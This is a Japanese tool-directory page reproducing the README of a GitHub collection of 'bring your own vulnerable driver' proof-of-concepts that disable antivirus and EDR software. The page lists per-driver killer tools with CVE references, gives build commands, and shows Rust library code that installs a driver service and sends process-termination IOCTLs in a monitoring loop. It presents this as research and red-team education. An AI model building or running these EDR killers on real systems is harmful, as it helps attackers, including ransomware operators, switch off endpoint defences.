Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
BYOVD — BYOVD研究ユースケース:脆弱ドライバの発見とリバースエンジニアリング手法を特徴とします。 (CVE-2025-52915, CVE-2025-1055, CVE-2026-3609, CVE-2026-8501). | Kitploit
ツール/GitHubGitHub/blacksnufkin/byovd
特権昇格脆弱性分析エクスプロイトIDS/IPS回避リバースエンジニアリング学習と教育レッドチーミング
GitHubblacksnufkin/byovd

BYOVD

BYOVD研究ユースケース:脆弱ドライバの発見とリバースエンジニアリング手法を特徴とします。 (CVE-2025-52915, CVE-2025-1055, CVE-2026-3609, CVE-2026-8501).

リポジトリを見る
895132542ヶ月前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
cropped-Aug 28, 2025, 03_39_19 PM

BYOVD は、脆弱なドライバを悪用して AV/EDR ソリューションを無効化する方法を示す PoC のコレクションです。

このコレクションには、非公開のドライバと、LOLDDrivers または Microsoft の推奨ドライバブロックルール で既にカバーされているドライバの両方が含まれています。


最初の発見以来、TfSysMon ドライバは LOLDrivers に追加され、Sophos と ESET が報告したように、ランサムウェアグループによって EDRKillShifter ツールを使用して悪用されています。


📚 目次

  • 🔍 概要
  • 🏗️ プロジェクト構成
  • 🔧 ビルド
  • 📦 byovd-lib
  • 💡 POC
  • 🔬 完全なドライバリバースエンジニアリングプロセス (x64)
  • 🔗 参考情報
  • ⚠️ 免責事項

🔍 概要

BYOVD 技術 は、近年、オフェンシブセキュリティの分野で人気が高まっています。特に、SpyBoy の Terminator(3,000 ドルで販売)や ZeroMemoryEx Blackout プロジェクトなどのツールのリリースに伴い、注目を集めています。これらのツールは、脆弱なドライバを利用して AV/EDR エージェントを無効化し、検出を減らすことでさらなる攻撃を容易にします。

このリポジトリには、教育目的で開発されたいくつかの PoC が含まれており、研究者がこれらのドライバを悪用してプロセスを終了させる方法を理解するのに役立ちます。

🏗️ プロジェクト構成

このプロジェクトは Rust Cargo ワークスペース として構成されています。ほとんどの PoC は、定型処理(ドライバサービスのライフサイクル、IOCTL ディスパッチ、プロセス監視、特権調整、クリーンアップ)を処理する共通ライブラリ(byovd-lib)を共有しています。各キラーは、ドライバ固有の設定のみを定義する薄いバイナリ(約 50〜100 行)です。K7Terminator、Astra64-Killer、Ktapi-Killer、および Xhunter1-Killer はスタンドアロン であり、独自の [workspace] 宣言を持ち、ルートワークスペース経由ではなく、それぞれのディレクトリから直接ビルドされます。``` BYOVD/ ├── Cargo.toml # Workspace root (deps + release profile) ├── Cargo.lock ├── README.md ├── LICENSE │ ├── byovd-lib/ # Shared library │ ├── Cargo.toml │ └── src/ │ ├── lib.rs # DriverConfig trait + run() / send_ioctl() / run_monitor() │ ├── service.rs # ByovdDriver -- SCM lifecycle (install/start/stop_and_delete) │ ├── device.rs # DeviceHandle -- 5 typed IOCTL dispatch shapes │ ├── handle.rs # WinHandle / ScHandle -- RAII handle wrappers (Send + Sync) │ ├── process.rs # find_pid_by_name / find_all_pids_by_name │ ├── monitor.rs # run_monitor_loop (closure-based) + setup_ctrlc_handler │ ├── privilege.rs # enable_privilege / ensure_running_as_local_system │ └── util.rs # to_wstring / to_cstring / get_current_dir │ ├── AppRemover-Killer/ # OPSWAT AppRemover ardrv.sys ├── Astra64-Killer/ # EnTech Astra32 / TVicHW astra64.sys -- standalone, data-only Shadow SSDT hijack EDR killer ├── BdApiUtil-Killer/ # Baidu BdApiUtil64 (CVE-2024-51324) ├── CcProtect-Killer/ # CnCrypt CcProtect ├── EnPortv-Killer/ # EnCase EnPortv ├── GameDriverX64-Killer/ # Fedeen GameDriverX64 (CVE-2025-61155) ├── GoFlyDrv-Killer/ # Golink GoFlyDrv ├── HNOs2Ec-Killer/ # HONOR PCManager HNOs2Ec.sys ├── HWAudioOs2Ec-Killer/ # Huawei Audio driver HWAudioOs2Ec.sys ├── K7Terminator/ # K7 RKScan -- standalone, LPE + BYOVD modes ├── Ksapi64-Killer/ # Kingsoft ksapi64 ├── Ktapi-Killer/ # Kontron ktapi.sys -- standalone, two-stage shellcode EDR killer ├── MonProcess-Killer/ # HONOR HnRSMService MonProcess.sys ├── MonProcessEX-Killer/ # HONOR MagicAnimation and HONOR PCManager MonProcessEX.sys ├── NSec-Killer/ # NSEC NSecKrnl (ValleyRAT BYOVD reproduction) ├── PCTcore64-Killer/ # PC Tools PCTcore64 (CVE-2026-8501) ├── PoisonX-Killer/ # Microsoft PoisonX (j3h4ck reproduction) ├── STProcessMonitor-Killer/ # Safetica STProcessMonitor (CVE-2025-70795, v114 + v2618) ├── TfSysMon-Killer/ # ThreatFire sysmon ├── UnknownKiller/ # unattributed unknown.sys ├── Viragt64-Killer/ # Tg Soft viragt64 ├── Wsftprm-Killer/ # Topaz wsftprm (CVE-2023-52271) ├── Xhunter1-Killer/ # Wellbia xhunter1.sys (CVE-2026-3609) └── Xkpsm-Killer/ # JiranJikyosoft X-Keeper xkpsm

各 `*-Killer/` ディレクトリには、独自の `Cargo.toml`、`src/main.rs`(`DriverConfig` の実装とCLI)、`README.md`(ドライバのハッシュと使用方法)、およびバイナリが実行時に読み込む対応する `.sys` ファイルが含まれています。

## 🔧 ビルド

**前提条件:** Rustツールチェーンと、Windows SDKを含むVisual Studio Build Tools。```bash
# Build all tools (release, optimized + stripped)
cargo build --release

# Build a single tool
cargo build --release -p BdApiUtil-Killer

# Build multiple specific tools
cargo build --release -p NSec-Killer -p Wsftprm-Killer

Binariesはtarget/release/に出力されます。実行前に、対応する.sysドライバファイルを実行可能ファイルと同じディレクトリにコピーしてください。

📦 byovd-lib

byovd-libは、すべてのPoC(K7Terminatorを除く)が基盤とする共有ライブラリです。これは2つの相補的なAPIを公開しています。標準的な「ドライバをインストールし、見つけ次第強制終了し、クリーンアップする」フロー用の高レベル宣言型APIと、カスタムフローが必要なキラー(既にロードされたドライバへのアタッチ、複数PIDへのファンアウト、構造化IOCTLバッファ、カスタム再試行ロジックなど)用の低レベル命令型APIです。両方は同じバイナリ内で混在させることができます。

モジュール構成```

byovd-lib/src/ ├── lib.rs # DriverConfig trait + run() / send_ioctl() / run_monitor() ├── service.rs # ByovdDriver -- SCM lifecycle (install, start, stop_and_delete) ├── device.rs # DeviceHandle -- typed IOCTL dispatch (5 shapes) ├── handle.rs # WinHandle / ScHandle -- RAII handle wrappers (Send + Sync) ├── process.rs # find_pid_by_name / find_all_pids_by_name ├── monitor.rs # run_monitor_loop (closure-based) + setup_ctrlc_handler ├── privilege.rs # enable_privilege / ensure_running_as_local_system └── util.rs # to_wstring / to_cstring / get_current_dir

### 高レベルAPI: `DriverConfig` トレイト + `run()`

これはバンドルされているキラーが使用するものです。トレイトを実装し、`byovd_lib::run()` を呼び出すだけで完了です。```rust
use byovd_lib::{DriverConfig, Result};
use clap::Parser;

struct MyDriver;
impl DriverConfig for MyDriver {
    fn driver_name(&self) -> &str { "MyDriver" }
    fn driver_file(&self) -> &str { "mydriver.sys" }
    fn device_path(&self) -> &str { "\\\\.\\MyDevice" }
    fn ioctl_code(&self) -> u32 { 0xDEAD }
    fn build_ioctl_input(&self, pid: u32, _name: &str) -> Vec<u8> {
        pid.to_ne_bytes().to_vec()
    }
}

#[derive(Parser)]
struct Cli {
    #[arg(short = 'n', long = "name", required = true)]
    process_name: String,
}

fn main() -> Result<()> {
    let cli = Cli::parse();
    byovd_lib::run(&MyDriver, &cli.process_name, None)
}

run() は以下を実行します: preflight_check → サービスのインストール (SERVICE_DEMAND_START) → StartService → キルオンサイトモニター (Ctrl+C で終了) → サービスの停止と削除。

オプションのトレイトオーバーライドとそのデフォルト値:

メソッドデフォルト目的
device_access()SERVICE_ALL_ACCESSCreateFileW のアクセスフラグ
skip_unload()falseドライバのクリーンアップをスキップ (例: アンロード時に BSOD を引き起こすドライバ)
ignore_ioctl_error()falseIOCTL の失敗を成功として扱う (例: NSecKrnl は成功時にエラーを報告する)
ioctl_output_size()0期待される出力バッファサイズ (バイト単位)
preflight_check()Ok(())起動前の検証 (例: LocalSystem チェック)

低レベル API: 命令的な構成要素

トレイトのフローが適合しない場合 -- 例: ドライバがすでにロードされており IOCTL を1回だけ発火させたい、カスタムのリトライポリシーが必要、IOCTL が PID だけでなく構造化された入力を受け取る、または一致するすべての PID にファンアウトしたい -- は、低レベルの構成要素を直接組み合わせてください。

ドライバのライフサイクル -- ByovdDriver:```rust use byovd_lib::ByovdDriver;

let driver = ByovdDriver::new("MyDriver", "mydriver.sys", "\\.\MyDevice")?; driver.start()?; // ERROR_SERVICE_ALREADY_RUNNING is OK let device = driver.open_device()?; // returns DeviceHandle // ... send IOCTLs ... driver.stop_and_delete()?;

**IOCTL ディスパッチ** -- `DeviceHandle` は5つの型付きシェイプを公開しています:
ツールをダウンロード